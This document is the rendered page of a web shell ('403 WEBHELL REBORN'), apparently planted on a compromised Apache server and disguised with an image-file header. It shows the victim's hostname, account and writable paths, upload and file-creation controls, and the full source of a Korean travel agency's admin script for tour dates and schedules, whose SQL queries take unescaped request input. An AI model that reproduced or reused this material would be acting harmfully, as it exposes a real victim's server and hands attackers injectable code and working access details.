ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/toadmin/good_en/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/toadmin/good_en/good_date_proc.html
<?
include "../include/top_proc.html";
include "_common.php";

$table = "date";

$d_content = insert_smart($d_content);
$d_g_special = insert_smart($d_g_special);
$d_g_inclusion = insert_smart($d_g_inclusion);
$d_g_noinclusion = insert_smart($d_g_noinclusion);
$d_g_rule = insert_smart($d_g_rule);

$ScheduleText = insert_smart($ScheduleText);

// 쌍따옴표,홑따옴표 불가 체크
if($ScheduleTitle) {
	if(	isCheckQuot($ScheduleTitle) == true )
				error_msg("일정표 제목에 쌍따옴표,홑따옴표는 사용불가합니다.");
}

$d_cost1= str_replace(",","",$d_cost1);	// 성인원가
$d_cost2= str_replace(",","",$d_cost2);	// 아동원가
$d_cost3= str_replace(",","",$d_cost3);	// 유아원가
$d_cost4= str_replace(",","",$d_cost4);	// 영아원가

$d_money1= str_replace(",","",$d_money1);	// 성인 정상요금
$d_money2= str_replace(",","",$d_money2);	// 아동 정상요금
$d_money3= str_replace(",","",$d_money3);	// 유아 정상요금
$d_money7= str_replace(",","",$d_money7);	// 영아 정상요금

$d_money4= str_replace(",","",$d_money4);	//  대리점요금
$d_money5= str_replace(",","",$d_money5);	// 아동 대리점요금
$d_money6= str_replace(",","",$d_money6);	// 유아 대리점요금
$d_money8= str_replace(",","",$d_money8);	// 영아 대리점요금

$oil_money1= str_replace(",","",$oil_money1);	// 유류할증료 성인가
$oil_money2= str_replace(",","",$oil_money2);	// 유류할증료 아동가
$oil_money3= str_replace(",","",$oil_money3);	// 유류할증료 유아가
$oil_money4= str_replace(",","",$oil_money4);	// 유류할증료 영아가

// 신규항목(2016-12-26.허종)
$d_money4p= str_replace(",","",$d_money4p);	// 성인 정상 판매가 할증 퍼센트(%)
$d_money5p= str_replace(",","",$d_money5p);	// 아동 정상 판매가 할증 퍼센트(%)
$d_money6p= str_replace(",","",$d_money6p);	// 유아 정상 판매가 할증 퍼센트(%)
$d_money8p= str_replace(",","",$d_money8p);	// 영아 정상 판매가 할증 퍼센트(%)

// 신규항목(2016-12-26.허종)
$d_money4= str_replace(",","",$d_money4);	// 성인 정상 판매가(원)
$d_money5= str_replace(",","",$d_money5);	// 아동 정상 판매가(원)
$d_money6= str_replace(",","",$d_money6);	// 유아 정상 판매가(원)
$d_money8= str_replace(",","",$d_money8);	// 영아 정상 판매가(원)

if ($d_oil != "Y") $d_oil = "N"; // 유류할증료 포함(Y) / 불포함(N)
if ($d_tax != "Y") $d_tax = "N"; // TAX 포함(Y) / 불포함(N)

$d_starttime = $d_starttime_1.":".$d_starttime_2; // 국내출발시간
$d_starttime2 = $d_starttime2_1.":".$d_starttime2_2; // 현지도착시간
$d_endtime = $d_endtime_1.":".$d_endtime_2; // 현지출발시간
$d_endtime2 = $d_endtime2_1.":".$d_endtime2_2; // 국내도착시간

// 적립금
if(!$point_yn) $point_yn="N";
$point_buy1= str_replace(",","",$point_buy1);	// 구매액(상품가격) 원당 
$point_buy2= str_replace(",","",$point_buy2);	// 원 적립 

// 입실일 업데이트 대상 항목 정리
if(is_array($chg_item_arr)) {
	foreach($chg_item_arr as $v){
		$chg_item_arr2[$v] = "Y";
	}
}


// 행사 공통쿼리
if ($SqlType == "date_ins" OR $SqlType == "date_updt") {

	// 대리점
	$d_agent_ga = "";
	if(is_array($agent_seq_ar)) {
		for($i=0 ; $i<count($agent_id_ar) ; $i++) {
			$agent_id = $agent_id_ar[$i];
			$agent_price_adult	= str_replace(",","",$agent_price_adult_ar[$i]);
			$agent_price_child	= str_replace(",","",$agent_price_child_ar[$i]);
			$agent_price_baby	= str_replace(",","",$agent_price_baby_ar[$i]);
			$agent_price_infant	= str_replace(",","",$agent_price_infant_ar[$i]);
			
			$agent_comm			= $agent_comm_ar[$i];
			$agent_comm_type	= $agent_comm_type_ar[$i]; // A정액제,B정율제
			
			if($agent_id) {
				$d_agent_ga .= "||".$agent_id."^".$agent_price_adult."^".$agent_price_child."^".$agent_price_baby."^".$agent_price_infant."^".$agent_comm."^".$agent_comm_type;
			}
		}
	}

	// 담당자
	if ($admin_id) {
		$mem_data = get_member($admin_id);
		$admin_nm = $mem_data['mb_nm'];
	}

	if($d_starttime2_nx!="Y") $d_starttime2_nx="N";
	if($d_endtime2_nx!="Y") $d_endtime2_nx="N";

	// 숙박정보
	$d_good_hotel="";
	for($i=0 ; $i<count($hseq_ar) ; $i++){
		if($hseq_ar[$i]) $d_good_hotel .="||".$hseq_ar[$i]."^".$hotel_nm_ar[$i];
	}

	// 관광지
	$d_good_place="";
	for($i=0 ; $i<count($Iidx_ar) ; $i++){
		if($Iidx_ar[$i]) $d_good_place .="||".$Iidx_ar[$i]."^".$place_nm_ar[$i];
	}

	// 옵션상품
	$d_good_option="";
	for($i=0 ; $i<count($opid_ar) ; $i++){
		if($opid_ar[$i]) $d_good_option .="||".$opid_ar[$i]."^".$op_nm_ar[$i]."^".$op_price_sell_ar[$i]."^".$op_price_agent_ar[$i];
	}

	// 위치정보
	if($d_good_map_x) $d_good_map = $d_good_map_x."||".$d_good_map_y;

	// 쿼리 공통
	$sql_ins .= " ,tour_cond='{$tour_cond}' "."\n"; // ab해외여행,de국내여행
	
	if($chg_item_arr2['d_starttime']=="Y" or $SqlType=="date_ins") {
		$sql_ins .= " ,d_starttime = '{$d_starttime}' "."\n";
		$sql_ins .= " ,d_starttime2 = '{$d_starttime2}' "."\n";
		$sql_ins .= " ,d_starttime2_nx = '{$d_starttime2_nx}' "."\n"; // [국내]N,Y익일(신규)
		$sql_ins .= " ,d_starttime_see = '{$d_starttime_see}' "."\n"; // 한국출발 A한국기준,B현지기준(신규)
		$sql_ins .= " ,d_starttime2_see = '{$d_starttime2_see}' "."\n"; // 현지도착 A한국기준,B현지기준(신규)
		
		$sql_ins .= " ,d_plane1_cd = '{$d_plane1_cd}' "."\n";
		$sql_ins .= " ,d_plane1 = '{$d_plane1}' "."\n";		
	}

	if($chg_item_arr2['d_endtime']=="Y" or $SqlType=="date_ins") {
		$sql_ins .= " ,d_endtime = '{$d_endtime}' "."\n";
		$sql_ins .= " ,d_endtime2 = '{$d_endtime2}' "."\n";
		$sql_ins .= " ,d_endtime2_nx = '{$d_endtime2_nx}' "."\n"; // [국내]N,Y익일(신규)
		$sql_ins .= " ,d_endtime_see = '{$d_endtime_see}' "."\n"; // 현지출발A한국기준,B현지기준(신규)
		$sql_ins .= " ,d_endtime2_see = '{$d_endtime2_see}' "."\n"; // 한국도착A한국기준,B현지기준(신규)
		
		$sql_ins .= " ,d_plane2_cd = '{$d_plane2_cd}' "."\n";
		$sql_ins .= " ,d_plane2 = '{$d_plane2}' "."\n";		
	}
	
	$sql_ins .= " ,d_kor_sch='{$d_kor_sch}' "."\n"; // [국내]A당일B무박C숙박(신규)

	if($chg_item_arr2['agent']=="Y" or $SqlType=="date_ins") {
		$sql_ins .= " ,d_agent_ga='{$d_agent_ga}' "."\n"; // 대리점 가격(신규)
	}

	$sql_ins .= " ,d_route = '{$d_route}' "."\n";

	if($chg_item_arr2['d_money']=="Y" or $SqlType=="date_ins") {
		$sql_ins .= " ,d_cost1 = '{$d_cost1}' "."\n";// 성인원가
		$sql_ins .= " ,d_cost2 = '{$d_cost2}' "."\n";// 아동원가
		$sql_ins .= " ,d_cost3 = '{$d_cost3}' "."\n";// 유아원가
		$sql_ins .= " ,d_cost4 = '{$d_cost4}' "."\n";// 영아원가
	
		$sql_ins .= " ,d_money1 = '{$d_money1}' "."\n";// 성인판매가
		$sql_ins .= " ,d_money2 = '{$d_money2}' "."\n";// 아동판매가
		$sql_ins .= " ,d_money3 = '{$d_money3}' "."\n";// 유아판매가
		$sql_ins .= " ,d_money7 = '{$d_money7}' "."\n";// 영아판매가
		
		// 사용자 페이지 출력 유무
		$sql_ins .= " ,d_disp_adult = '{$d_disp_adult}' "."\n";
		$sql_ins .= " ,d_disp_child = '{$d_disp_child}' "."\n";
		$sql_ins .= " ,d_disp_baby = '{$d_disp_baby}' "."\n";
		$sql_ins .= " ,d_disp_infant = '{$d_disp_infant}' "."\n";
	}
	
	// 신규항목(2016-12-26.허종)
	if($chg_item_arr2['d_money_normal']=="Y" or $SqlType=="date_ins") {
		$sql_ins .= " ,d_money4p = '{$d_money4p}' "."\n";// 성인 정상 판매가 할증 퍼센트(%)
		$sql_ins .= " ,d_money5p = '{$d_money5p}' "."\n";// 아동 정상 판매가 할증 퍼센트(%)
		$sql_ins .= " ,d_money6p = '{$d_money6p}' "."\n";// 유아 정상 판매가 할증 퍼센트(%)
		$sql_ins .= " ,d_money8p = '{$d_money8p}' "."\n";// 영아 정상 판매가 할증 퍼센트(%)
	
		$sql_ins .= " ,d_money4 = '{$d_money4}' "."\n";// 성인 정상 판매가(원)
		$sql_ins .= " ,d_money5 = '{$d_money5}' "."\n";// 아동 정상 판매가(원)
		$sql_ins .= " ,d_money6 = '{$d_money6}' "."\n";// 유아 정상 판매가(원)
		$sql_ins .= " ,d_money8 = '{$d_money8}' "."\n";// 영아 정상 판매가(원)
	}	

	if($chg_item_arr2['d_money']=="Y" or $SqlType=="date_ins") {
		$sql_ins .= " ,oil_money1 = '{$oil_money1}' "."\n";// 유류할증료 성인가
		$sql_ins .= " ,oil_money2 = '{$oil_money2}' "."\n";// 유류할증료 아동가
		$sql_ins .= " ,oil_money3 = '{$oil_money3}' "."\n";// 유류할증료 유규가
		$sql_ins .= " ,oil_money4 = '{$oil_money4}' "."\n";// 유류할증료 영아가
	}

	if($chg_item_arr2['d_pe_people_inwon']=="Y" or $SqlType=="date_ins") {
		$sql_ins .= " ,d_pe_people_inwon = '{$d_pe_people_inwon}' "."\n";// [단독투어]기준인원
	}
	
	if($chg_item_arr2['d_people']=="Y" or $SqlType=="date_ins") {
		// 데이투어 공통
		$sql_ins .= " ,d_gr_people_min = '{$d_gr_people_min}' "."\n";// [단체투어]최소행사인원
		$sql_ins .= " ,d_pe_people_unit = '{$d_pe_people_unit}' "."\n";// [단독투어]대/팀

		$sql_ins .= " ,d_people2 = '{$d_people2}' "."\n";
		$sql_ins .= " ,d_people3 = '{$d_people3}' "."\n";
	}

	// 적립금
	if($chg_item_arr2['point']=="Y" or $SqlType=="date_ins") {
		$sql_ins .= " , point_yn= '{$point_yn}' "."\n"; //  
		$sql_ins .= " , point_buy1= '{$point_buy1}' "."\n"; // 구매액(상품가격)
		$sql_ins .= " , point_buy2= '{$point_buy2}' "."\n"; // 적립액
	}	
	
	// 행사상태
	if($SqlType=="date_ins") {
		$sql_ins .= " ,d_ok = '{$d_ok}' "."\n";
	}
	
	// 담당자
	if($chg_item_arr2['admin_id']=="Y" or $SqlType=="date_ins") {
		$sql_ins .= " ,admin_id = '{$admin_id}' "."\n";
		$sql_ins .= " ,admin_nm = '{$admin_nm}' "."\n";
	}
		
	if($chg_item_arr2['option']=="Y" or $SqlType=="date_ins") {
		$sql_ins .= " , d_good_option= '{$d_good_option}' "."\n";// 옵션상품(신규)
	}

	if($chg_item_arr2['hotel']=="Y" or $SqlType=="date_ins") {
		$sql_ins .= " , d_good_hotel= '{$d_good_hotel}' "."\n";// 숙박정보(신규)
	}

	if($chg_item_arr2['place']=="Y" or $SqlType=="date_ins") {
		$sql_ins .= " , d_good_place= '{$d_good_place}' "."\n";// 관광지정보(신규)
	}

	if($chg_item_arr2['d_good_map']=="Y" or $SqlType=="date_ins") {
		$sql_ins .= " , d_good_map= '{$d_good_map}' "."\n";// 위치정보(신규)
	}

	if($chg_item_arr2['d_content']=="Y" or $SqlType=="date_ins") {
		$sql_ins .= " , d_content= '{$d_content}' "."\n"; 
	}

	if($chg_item_arr2['d_g_special']=="Y" or $SqlType=="date_ins") {
		$sql_ins .= " , d_g_special= '{$d_g_special}' "."\n";
	}

	if($chg_item_arr2['d_g_inclusion']=="Y" or $SqlType=="date_ins") {
		$sql_ins .= " , d_g_inclusion= '{$d_g_inclusion}' "."\n";
	}

	if($chg_item_arr2['d_g_noinclusion']=="Y" or $SqlType=="date_ins") {
		$sql_ins .= " , d_g_noinclusion= '{$d_g_noinclusion}' "."\n";
	}

	if($chg_item_arr2['d_g_rule']=="Y" or $SqlType=="date_ins") {
		$sql_ins .= " , d_g_rule= '{$d_g_rule}' "."\n";
	}
}

// 출발일 생성
if ($SqlType == "date_ins") {

	if (!$g_uid) exit;
	if (!$dtid) exit;

	// 공통쿼리 추가
	$sql_ins .= " ,tab='{$tab}' "."\n"; // 패키지P , 데이투어D
	$sql_ins .= " ,gdt='{$gdt}' "."\n"; // 데이투어>개인투어,단체투어
	$sql_ins .= " ,periodStr = '{$periodStr}' "."\n";
	$sql_ins .= " ,period = '{$period}' "."\n";
	$sql_ins .= " ,d_regdate = now() ";
	$sql_ins .= " ,dtid = '{$dtid}' ";

	// 행사명
	$arr = good_date_type($g_uid,$dtid);
	$d_title = $arr[0]['date_type_nm'];

	// 출발일 개별생성
	if ( $ins_cond=="private" ) {
	    $tmp_date = intval($period)-1;// 박
		//$tmp_date = ($tmp_date<0) ? $tmp_date:0;

		for($i=0 ; $i<count($d_start_arr) ; $i++) {
			$d_start = $d_start_arr[$i];
			$enddate = date('Y-m-d', strtotime("+{$tmp_date} day" , strtotime($d_start) ) ); // 도착(귀국)일

			// 동일상품,동일행사,동일출발일 존재 
			$sql = "select count(d_uid) as date_count from date where g_uid='{$g_uid}' and dtid='{$dtid}' and d_start='{$d_start}' ";
			$arr_tmp = db_fetch($sql);
			$date_count = $arr_tmp['date_count'];

			if ( $date_count>0  ) { // 동일상품,동일행사,동일출발일  업데이트.
				$sql = "update {$table} set ";
				$sql .= "d_title = '{$d_title}' ";
				$sql .= ",d_start = '{$d_start}' ";
				$sql .= ",d_end = '{$enddate}' ";
				$sql .= ",d_code = '{$d_code}' "; // 행사코드
				$sql .= "{$sql_ins} ";
				$sql .= "where g_uid = '{$g_uid}' and d_start = '{$d_start}' and dtid='{$dtid}' ";
				db_query($sql);

			}else{ //출발일이 없을때 인서트
				$sql = "insert into {$table} set ";
				$sql .= "g_uid = '{$g_uid}' ";
				$sql .= ",d_title = '{$d_title}' ";
				$sql .= ",d_start = '{$d_start}' ";
				$sql .= ",d_end = '{$enddate}' {$sql_ins} ";
				db_query($sql);

				// 행사코드 업데이트
				$insert_id = mysqli_insert_id($connect);
				$d_code = $d_code_h.$insert_id;
				db_query("update {$table} set d_code='{$d_code}' where d_uid='{$insert_id}'");
			}
			
		}

	}


	// 출발일 자동 생성
	elseif($ins_cond=="auto") { 

		// 두날짜사이 값을 배열로 받음
		$data_dt = date_to_date($d_start , $d_end);

		$pre_period = intval($period)-1;  // 박

		for($i=0 ; $i<count($data_dt) ; $i++){
			$row = $data_dt[$i];

			$enddate = date('Y-m-d', strtotime("+{$pre_period} day" , strtotime($row['date']) ) ); // 도착(귀국)일

			for ($j=0 ; $j<count($week_date) ;$j++) { // 요일
				if ( $row['yoil_ord']==$week_date[$j] ) { // 체크된 요일 & 자동입력 

					// 동일상품,동일행사,동일출발일 존재 
					$sql = "select count(d_uid) as date_count from date where g_uid='{$g_uid}' and dtid='{$dtid}' and d_start='{$row[date]}' ";
					$arr_tmp = db_fetch($sql);
					$date_count = $arr_tmp['date_count'];

					if ( $date_count>0 ) {		// 동일상품,동일행사,동일출발일 업데이트.
						$sql = "update {$table} set ";
						$sql .= " d_title = '{$d_title}' ";
						$sql .= " ,d_start = '{$row[date]}' ";
						$sql .= " ,d_end = '{$enddate}' ";
						$sql .= " ,d_code = '{$d_code}' "; // 행사코드
						$sql .= " {$sql_ins} ";
						$sql .= " where g_uid = '{$g_uid}' and d_start = '{$row[date]}' and dtid = '{$dtid}' ";
						db_query($sql);
					} else {			//출발일이 없을때 인서트
						$sql = "insert into {$table} set ";
						$sql .= " g_uid = '{$g_uid}' ";
						$sql .= " ,d_title = '{$d_title}' ";
						$sql .= " ,d_start = '{$row[date]}' ";
						$sql .= " ,d_end = '{$enddate}' {$sql_ins} ";
						db_query($sql);

						// 행사코드 업데이트
						$insert_id = mysqli_insert_id($connect);
						$d_code = $d_code_h.$insert_id;
						db_query("update {$table} set d_code='{$d_code}' where d_uid='{$insert_id}'");
					}
				}
			}
		}

	}
	
	// 행사수정/삭제시에 상품마스터 검색요소 업데이트(2017-02-23.허종)
	db_query("call SP_GOOD_DATE('{$g_uid}')");

	error_msg("opener.goodDateList();alert('생성완료하였습니다.');","script");
}


// 행사수정
elseif($SqlType=="date_updt") {

	// 공통쿼리 추가
	//$sql_ins .= " ,d_people1 = '{$d_people1}' "."\n";

	if($all=="Y"){
		$sql = "update {$table} set d_regdate=now() {$sql_ins} where g_uid='{$g_uid}' and dtid = '{$dtid}' ";
		db_query($sql);
	}else{
		for($i=0 ; $i<count($d_uid_ar) ; $i++){
			$d_uid = $d_uid_ar[$i];

			if($d_uid) {
				$sql = "update {$table} set d_regdate=now() {$sql_ins} where d_uid='{$d_uid}' ";
				db_query($sql);
			}
		}
	}

	// 행사수정/삭제시에 상품마스터 검색요소 업데이트(2017-02-23.허종)
	db_query("call SP_GOOD_DATE('{$g_uid}')");	
	
	error_msg("opener.goodDateList();document.location.reload();","script");
}


// 행사상태변경(2016-02-12)
else if($SqlType == "date_dok_updt") {

	if(!$g_uid) exit;

	if($all=="Y"){
		$sql = "update {$table} set d_ok='{$d_ok}' where g_uid='{$g_uid}'  and dtid ='{$dtid}' ";
			db_query($sql);
		
	}else{
		for($i=0 ; $i<count($d_uid_ar) ; $i++) {
			$d_uid = $d_uid_ar[$i];

			if($d_uid) {
				$sql = "update {$table} set d_ok='{$d_ok}' where d_uid='{$d_uid}' ";
				db_query($sql);
			}
		}
	}
	
	error_msg("parent.goodDateList();parent.to_dialog.close('{$tmp_layer_id}');","script");
}


// 행사 삭제
else if($SqlType == "date_delete") {

	if(!$d_uid_ga) exit;

	$chk_seq=explode(",",$d_uid_ga);
	
	if($all=="Y"){
		$sql = "delete from {$table} where g_uid='{$g_uid}' and dtid ='{$dtid}' ";
			db_query($sql);
	}else {
		for($i=0 ; $i<count($chk_seq) ; $i++) {
		$d_uid = $chk_seq[$i];
			if($d_uid) {
				$sql = "delete from {$table} where d_uid='{$d_uid}' ";
				db_query($sql);
			}
		}
	}

	// 행사수정/삭제시에 상품마스터 검색요소 업데이트(2017-02-23.허종)
	db_query("call SP_GOOD_DATE('{$g_uid}')");	
	
	error_msg("ajax_loader('good_date_list_ajax.html?g_uid={$g_uid}&dtid={$dtid}&yy={$yy}&mm={$mm}&sales_type={$sales_type}&agent_id={$agent_id}','ajax_start_date');","script");
	
}


// 행사선택 일정표 수정
else if($SqlType == "schedule_sel_updt") {

	if(!$g_uid) exit;

	for($i=0 ; $i<count($d_uid_ar) ; $i++) {
		$d_uid = $d_uid_ar[$i];

		if($d_uid) {
			$sql = "update {$table} set d_content='{$d_content}' where d_uid='{$d_uid}' ";
			db_query($sql);
		}
	}

	error_msg("parent.goodDateList();parent.to_dialog.close('{$tmp_layer_id}');","script");
}

// 전체행사 일정표 수정
else if($SqlType == "schedule_all_updt") {

	if(!$g_uid or !$dtid) exit;

	$sql = "update {$table} set d_content='{$d_content}' where g_uid='{$g_uid}' and dtid='{$dtid}' and d_start > now() ";
	
	db_query($sql);

	error_msg("parent.goodDateList();parent.to_dialog.close('{$tmp_layer_id}');","script");
}

elseif($SqlType=="schedule_edit_check") {
	if ( !$g_uid or !$good_SiDX ) exit;

	// 대표일정표 정보
	$tmp_arr = toad_schedule($g_uid," and SiDX='{$good_SiDX}' ");
	$sch_arr = $tmp_arr[0];

	for($i=0 ; $i<count($chk_seq) ; $i++){
		if($chk_seq[$i]){
			// 일정표 개수
			$tmp_arr = toad_schedule($g_uid," and d_uid='".$chk_seq[$i]."' and Sort='1' ");
			$sch_cnt = count($tmp_arr);
			
			if ( $sch_cnt>0 ) { // 일정표가 있으면, 업데이트
				$ScheduleText = str_replace("'","\'",$sch_arr['ScheduleText']);
				$sql = "update TB_Schedule set ScheduleText='".$ScheduleText."' where g_uid='{$g_uid}' and  d_uid='".$chk_seq[$i]."'";
				db_query($sql);
			}else{// 일정표가 있으면, 인서트
				$ScheduleText = str_replace("'","\'",$sch_arr['ScheduleText']);
				$sql = "insert into TB_Schedule(g_uid,d_uid,Sort,ScheduleTitle,ScheduleText,CreateDay,RegDate) ";
				$sql .= " values('{$g_uid}','".$chk_seq[$i]."','1','".$sch_arr['ScheduleTitle']."','".$ScheduleText."','".$sch_arr['CreateDay']."',now())";
				db_query($sql);
			}
		}
	}
	
	error_msg("ajax_loader('good_date_list_ajax.html?g_uid={$g_uid}&dtid_s={$dtid_s}&d_start_s={$d_start_s}','ajax_start_date');","script");

}


// 대표일정표로 인서트
elseif($SqlType=="schedule_insert") {

	if ( !$g_uid or !$d_uid or !$good_SiDX ) exit;

	// 대표일정표 정보
	$tmp_arr = toad_schedule($g_uid," and SiDX='{$good_SiDX}' ");
	$sch_arr = $tmp_arr[0];

	// 일정표 개수
	$tmp_arr = toad_schedule($g_uid," and d_uid='{$d_uid}' and Sort='1' ");
	$sch_cnt = count($tmp_arr);

	if ( $sch_cnt==0 ) { // 일정표 없을때만 인서트
		$sql = "insert into TB_Schedule(g_uid,d_uid,Sort,ScheduleTitle,ScheduleText,CreateDay,RegDate) ";
		$sql .= " values('{$g_uid}','{$d_uid}','1','".$sch_arr['ScheduleTitle']."','".$sch_arr['ScheduleText']."','".$sch_arr['CreateDay']."',now())";
		db_query($sql);
	}
	
	error_msg("to_dialog.iframe('good_date_schedule_edit_iframe.html?g_uid={$g_uid}&d_uid={$d_uid}','[{$d_start2}]일정표 수정','900','700',true,false,'no');","script");
}

// 일정표 생성
elseif($SqlType=="date_create") {
	
	// 일정표 일수
	$len = ($date_num) ? (int)$date_num : 1;

	// 생성일자
	$d_start = $date_start;

	// 날짜표시
	$chkDay = $chk_day;

	// 일정표 스킨 파일 설정
	$schedule_dir = "../../schedule";
	$schedule_file = $date_skin;
	$schedule_path = "{$schedule_dir}/{$schedule_file}";

	// 일정표 스킨 파일 내용을 가져옴
	if (file_exists($schedule_path)) {
		$f = @fopen($schedule_path, "r");
		$schedule = @fread($f, filesize($schedule_path));
		fclose($f);
	}
	//echo $schedule;

	// 일정표 내용을 정리
	// $match[1] : 일정표 상단
	// $match[2] : 일정표 일차 반복
	// $match[3] : 일정표 하단
	preg_match("/(.*)<!-- 일차 -->(.*)<!-- \/\/일차 -->(.*)/s", trim($schedule), $match);
	//print_r($match); exit;

	// 일정표 상단
	$schedule_top = $match[1];
	//$schedule_top = str_replace("{WIDTH}", $SchWidth, $schedule_top);

	// 일정표 일차 반복
	$schedule_day = "";
	for ($i=1; $i<=$len; $i++) {
		$day_tmp = $match[2];
		$day_tmp = str_replace("{DAY}", $i, $day_tmp);

		//출발일 자동등록을 하는 부분}
		if($d_start && $chkDay == "Y"){
			$set_day = $i-1;		
			//출발일에서 일정일에 맞게 일수를 더해서 표시한다.
			$act_date = date('Y-m-d', strtotime("$set_day day", strtotime($d_start)));
			
			//해당날짜의 요일을 구한다.
			$day_week_text = get_yoil($act_date)."요일";
			$date_text = "<br/><date_str_".$i.">".$act_date."&nbsp;".$day_week_text."</date_str_".$i.">";
			$day_tmp = str_replace("<date_str_".$i."></date_str_".$i.">", $date_text, $day_tmp);
		}

		$schedule_day .= "<!-- {$i}일차 --> \r\n" . $day_tmp . "<!-- //{$i}일차 --> \r\n";
	}

	// 일정표 하단
	$schedule_bottom = $match[3];
	
	$content = $schedule_top . $schedule_day . $schedule_bottom;

	// 일정표 내용 출력
	echo $content;
	exit;
}

// 일정표 가져오기
elseif($SqlType=="date_recv") {
	if(!$SiDX) exit;

	$arr = toad_schedule(""," and SiDX='{$SiDX}' ");

	// 일정표 내용 출력
	echo $arr[0]['ScheduleText'];
	exit;
}

// 일정표 저장
elseif($SqlType=="dateform_edit") {

	if (!$SiDX) exit;

	$sql = "update TB_Schedule set ScheduleTitle='{$ScheduleTitle}',ScheduleText='{$ScheduleText}', RegDate=now() where SiDX = '{$SiDX}'  ";

	db_query($sql);

	error_msg("location.href='good_date_schedule_edit_iframe.html?d_uid={$d_uid}&g_uid={$g_uid}&tmp_layer_id={$tmp_layer_id}&{$_shref}'","script");
}


// 기본 일정표 수정
elseif($SqlType=="common_dateform_edit") {
	
	if (!$g_uid) exit;

	if ( $SiDX ){
		$sql = "update TB_Schedule set ScheduleTitle='{$ScheduleTitle}',";
		$sql .= " ScheduleText='{$ScheduleText}', RegDate=now() ";
		$sql .= " where SiDX = '{$SiDX}' ";
	}else{
		$sql = "insert into TB_Schedule ";
		$sql .= " set g_uid='{$g_uid}', ";
		$sql .=" ScheduleTitle='{$ScheduleTitle}',";
		$sql .=" ScheduleText='{$ScheduleText}', RegDate=now(), ";
		$sql .=" Sort='0' ";
	}
	db_query($sql);

	error_msg("location.href='good_date_schedule_edit.html?{$_shref}&{$_href}&g_uid={$g_uid}';","script");
}

// 기본  일정표 저장
elseif($SqlType=="common_dateform_create") {

	if (!$g_uid) exit;

	$sql = "insert into TB_Schedule ";
	$sql .= " set g_uid='{$g_uid}', ";
	$sql .=" ScheduleTitle='{$ScheduleTitle}',";
	$sql .=" ScheduleText='{$ScheduleText}', RegDate=now(), ";
	$sql .=" Sort='0' ";

	db_query($sql);

	error_msg("location.href='good_date_schedule_edit.html?{$_shref}&{$_href}&g_uid={$g_uid}';","script");
}

// 기본 일정표 삭제
elseif($SqlType=="common_dateform_delete") {

	if (!$g_uid or !$SiDX) exit;

	$sql = "delete from TB_Schedule where SiDX='{$SiDX}' ";

	db_query($sql);

	error_msg("location.href='good_date_schedule_edit.html?{$_shref}&{$_href}&g_uid={$g_uid}';","script");
}


?>

Anon7 - 2021